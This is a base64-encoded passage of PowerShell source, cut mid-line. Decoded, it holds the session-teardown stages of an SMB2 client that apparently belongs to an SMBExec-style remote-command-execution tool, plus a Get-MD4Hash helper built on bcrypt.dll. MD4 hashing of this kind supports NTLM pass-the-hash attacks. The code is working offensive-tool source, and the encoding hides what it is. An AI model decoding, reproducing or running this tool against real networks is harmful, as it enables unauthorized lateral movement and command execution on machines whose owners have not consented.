ICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdDbG9zZVJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA2LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyQ2xvc2VSZXF1ZXN0ICRTTUJfZmlsZV9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ25hdHVyZSA9ICRITUFDX1NIQTI1Ni5Db21wdXRlSGFzaCgkU01CMl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ25hdHVyZSA9ICRTTUIyX3NpZ25hdHVyZVswLi4xNV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQjJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnVHJlZURpc2Nvbm5lY3QnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnVHJlZURpc2Nvbm5lY3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlciA9IEdldC1QYWNrZXRTTUIySGVhZGVyIDB4MDQsMHgwMCAkU01CMl9tZXNzYWdlX0lEICRTTUIyX3RyZWVfSUQgJFNNQl9zZXNzaW9uX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdMb2dvZmYnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnTG9nb2ZmJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDIwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMiwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMlNlc3Npb25Mb2dvZmZSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdFeGl0Jw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJFNNQkV4ZWNfZmFpbGVkKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQlJFQUsgU01CX2V4ZWN1dGVfbG9vcA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgICRTTUJfY2xpZW50LkNsb3NlKCkNCiAgICAkU01CX2NsaWVudF9zdHJlYW0uQ2xvc2UoKQ0KfQ0KDQp9DQoNCkZ1bmN0aW9uIEdldC1NRDRIYXNoIHsNCjwjDQouU1lOT1BTSVMNCiAgICBUaGlzIGNtZGxldCByZXR1cm5zIHRoZSBNRDQgaGFzaCBvZiB0aGUgZGF0YSB0aGF0IGlzIGlucHV0Lg0KICAgIFdBUk5JTkc6IE1ENCBpcyBub3Qgc2VjdXJlLCBzbyBpdCBzaG91bGQgTkVWRVIgYmUgdXNlZCB0bw0KICAgIHByb3RlY3Qgc2Vuc2l0aXZlIGRhdGEuIFRoaXMgY21kbGV0IGlzIGZvciByZXNlYXJjaCBwdXJwb3NlcyBvbmx5IQ0KIA0KLkRFU0NSSVBUSU9ODQogICAgVGhpcyBjbWRsZXQgcmV0dXJucyB0aGUgTUQ0IGhhc2ggb2YgdGhlIGRhdGEgdGhhdCBpcyBpbnB1dC4NCiAgICBXQVJOSU5HOiBNRDQgaXMgbm90IHNlY3VyZSwgc28gaXQgc2hvdWxkIE5FVkVSIGJlIHVzZWQgdG8NCiAgICBwcm90ZWN0IHNlbnNpdGl2ZSBkYXRhLiBUaGlzIGNtZGxldCBpcyBmb3IgcmVzZWFyY2ggcHVycG9zZXMgb25seSENCiAgICBUaGlzIGNtZGxldCB1c2VzIE1pY3Jvc29mdCdzIGltcGxlbWVudGF0aW9uIG9mIE1ENCwgZXhwb3J0ZWQNCiAgICBmcm9tIGJjcnlwdC5kbGwuIFRoZSBpbXBsZW1lbnRhdGlvbiBpcyBmdWxseSBjb21wbGlhbnQgd2l0aA0KICAgIFJGQyAxMzIwLiBUaGlzIGNtZGxldCB0YWtlcyBhIGJ5dGUgYXJyYXkgYXMgaW5wdXQsIG5vdCBhIHN0cmluZy4NCiAgICBTbyBpZiB5b3Ugd2FudGVkIHRvIGhhc2ggYSBzdHJpbmcgKHN1Y2ggYXMgYSBwYXNzd29yZCwpIHlvdQ0KICAgIG5lZWQgdG8gY29udmVydCBpdCB0byBhIGJ5dGUgYXJyYXkgZmlyc3QuDQogDQouRVhBTVBMRQ0KICAgIEdldC1NRDRIYXNoIC1EYXRhVG9IYXNoICQoW1RleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCJZb3VyUGFzc3dvcmQxISIpKQ0KIA0KLlBBUkFNRVRFUiBEYXRhVG9IYXNoDQogICAgQSBieXRlIGFycmF5IHRoYXQgcmVwcmVzZW50cyB0aGUgZGF0YSB0aGF0IHlvdSB3YW50IHRvIGhhc2guDQogDQouSU5QVVRTDQogICAgQSBieXRlIGFycmF5IGNvbnRhaW5pbmcgdGhlIGRhdGEgeW91IHdpc2ggdG8gaGFzaC4NCiANCi5PVVRQVVRTDQogICAgQSAxMjgtYml0IGhleGFkZWNpbWFsIHN0cmluZyAtIHRoZSBNRDQgaGFzaCBvZiB5b3VyIGRhdGEuDQogDQouTk9URVMNCiAgICBBdXRob3I6IFJ5YW4gUmllcywgMjAxNCwgcnlhbkBteW90aGVycGNpc2FjbG91ZC5jb20NCiANCi5MSU5LDQogICAgaHR0cHM6Ly9teW90aGVycGNpc2FjbG91ZC5jb20NCiM+DQogICAgW0NtZGxldEJpbmRpbmcoKV0NCiAgICBQYXJhbSAoW1BhcmFtZXRlcihNYW5kYXRvcnk9JFRydWUsIFZhbHVlRnJvbVBpcGVsaW5lPSRGYWxzZSldICAgICAgICAgIA0KICAgICAgICAgICBbQnl0ZVtdXSREYXRhVG9IYXNoKQ0KICAgIEVORA0KICAgIHsgICAgICAgDQogICAgICAgIFNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIExhdGVzdA0KICAgICAgICBpZiAoLW5vdCAoW1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNUeXBlTmFtZV0nZHNhZmRzYWZkc2FmZHMnKS5UeXBlKQ0KICAgICAgICB7DQogICAgICAgIEFkZC1UeXBlIC1UeXBlRGVmaW5pdGlvbiBAJw0KICAgICAgICB1c2luZyBTeXN0ZW07DQogICAgICAgIHVzaW5nIFN5c3RlbS5UZXh0Ow0KICAgICAgICB1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQogICAgICAgIHB1YmxpYyBjbGFzcyBkc2FmZHNhZmRzYWZkcw0KICAgICAgICB7DQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIoDQogICAgICAgICAgICAgICAgW091dF0gb3V0IEludFB0ciBwaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbSW5dIHN0cmluZyBwc3pBbGdJZCwNCiAgICAgICAgICAgICAgICBbSW4sIE9wdGlvbmFsXSBzdHJpbmcgcHN6SW1wbGVtZW50YXRpb24sDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdENyZWF0ZUhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoQWxnb3JpdGhtLA0KICAgICAgICAgICAgICAgIFtPdXRdIG91dCBJbnRQdHIgcGhIYXNoLA0KICAgICAgICAgICAgICAgIFtPdXRdIEludFB0ciBwYkhhc2hPYmplY3QsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gVUludDMyIGNiSGFzaE9iamVjdCwNCiAgICAgICAgICAgICAgICBbSW4sIE9wdGlvbmFsXSBJbnRQdHIgcGJTZWNyZXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgY2JTZWNyZXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHREZXN0cm95SGFzaCgNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhIYXNoKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdEhhc2hEYXRhKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEhhc2gsDQogICAgICAgICAgICAgICAgW0luLCBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUEFycmF5KV0gYnl0ZVtdIHBiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBpbnQgY2JJbnB1dCwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdEZpbmlzaEhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoSGFzaCwNCiAgICAgICAgICAgICAgICBbT3V0LCBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUEFycmF5KV0gYnl0ZVtdIHBiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBpbnQgY2JJbnB1dCwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtGbGFnc10NCiAgICAgICAgICAgIHB1YmxpYyBlbnVtIEFsZ09wc0ZsYWdzIDogdWludA0KICAgICAgICAgICAgeyAgICAgICAgICAgDQogICAgICAgICAgICAgICAgQkNSWVBUX1BST1ZfRElTUEFUQ0ggPSAweDAwMDAwMDAxLA0KICAgICAgICAgICAgICAgIEJDUllQVF9BTEdfSEFORExFX0hNQUNfRkxBRyA9IDB4MDAwMDAwMDgsDQogICAgICAgICAgICAgICAgQkNSWVBUX0hBU0hfUkVVU0FCTEVfRkxBRyA9IDB4MDAwMDAwMjANCiAgICAgICAgICAgIH0NCiANCiAgICAgICAgICAgIC8vIFRoaXMgaXMgYSBnaWdhbnRpYyBlbnVtIGFuZCBJIGRvbid0IHdhbnQgdG8gY29weSBhbGwgb2YgaXQgaW50byB0aGlzIFBvd2Vyc2hlbGwgc2NyaXB0Lg0KICAgICAgICAgICAgLy8gQmFzaWNhbGx5IGFueXRoaW5nIG90aGVyIHRoYW4gemVybyBtZWFucyBzb21ldGhpbmcgd2VudCB3cm9uZy4NCiAgICAgICAgICAgIHB1YmxpYyBlbnVtIE5UU3RhdHVzIDogdWludA0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFNUQVRVU19TVUNDRVNTID0gMHgwMDAwMDAwMA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQonQA0KfQ0KIA0KICAgICAgICBbQnl0ZVtdXSRIYXNoQnl0ZXMgICA9IE5ldy1PYmplY3QgQnl0ZVtdIDE2DQogICAgICAgIFtJbnRQdHJdJFBIQWxnb3JpdGhtID0gW0ludFB0cl06Olplcm8NCiAgICAgICAgW0ludFB0cl0kUEhIYXNoICAgICAgPSBbSW50UHRyXTo6WmVybw0KICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIoW1JlZl0gJFBIQWxnb3JpdGhtLCAnTUQ0JywgJE51bGwsIDApDQogICAgICAgIElmICgkTlRTdGF0dXMgLU5FIDApDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLUVycm9yICJCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIgZmFpbGVkIHdpdGggTlRTVEFUVVMgJE5UU3RhdHVzIg0KICAgICAgICAgICAgSWYgKCRQSEFsZ29yaXRobSAtTkUgW0ludFB0cl06Olplcm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigkUEhBbGdvcml0aG0sIDApDQogICAgICAgICAgICB9DQogICAgICAgICAgICBSZXR1cm4NCiAgICAgICAgfQ0KICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDcmVhdGVIYXNoKCRQSEFsZ29yaXRobSwgW1JlZl0gJFBISGFzaCwgW0ludFB0cl06Olplcm8sIDAsIFtJbnRQdHJdOjpaZXJvLCAwLCAwKQ0KICAgICAgICBJZiAoJE5UU3RhdHVzIC1ORSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1FcnJvciAiQkNyeXB0Q3JlYXRlSGFzaCBmYWlsZWQgd2l0aCBOVFNUQVRVUyAkTlRTdGF0dXMiDQogICAgICAgICAgICBJZiAoJFBISGFzaCAtTkUgW0ludFB0cl06Olplcm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RGVzdHJveUhhc2goJFBISGFzaCkgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIoJFBIQWxnb3JpdGhtLCAwKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgUmV0dXJuDQogICAgICAgIH0NCiANCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0SGFzaERhdGEoJFBISGFzaCwgJERhdGFUb0hhc2gsICREYXRhVG9IYXNoLkxlbmd0aCwgMCkNCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RmluaXNoSGFzaCgkUEhIYXNoLCAkSGFzaEJ5dGVzLCAkSGFzaEJ5dGVzLkxlbmd0aCwgMCkNCiANCiAgICAgICAgSWYgKCRQSEhhc2ggLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHREZXN0cm95SGFzaCgkUEhIYXNoKQ0KICAgICAgICB9DQogICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKCRQSEFsZ29yaXRobSwgMCkNCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgICRIYXNoU3RyaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyDQogICAgICAgIEZvcmVhY2ggKCRCeXRlIEluICRIYXNoQnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIFtWb2lkXSRIYXNoU3RyaW5nLkFwcGVuZCgkQnl0ZS5Ub1N0cmluZygiWDIiKSkNCiAgICAgICAgfQ0KICAgICAgICBSZXR1cm4gJEhhc2hTdHJpbmcuVG9TdHJpbmcoKQ0KICAgIH0NCn0NCg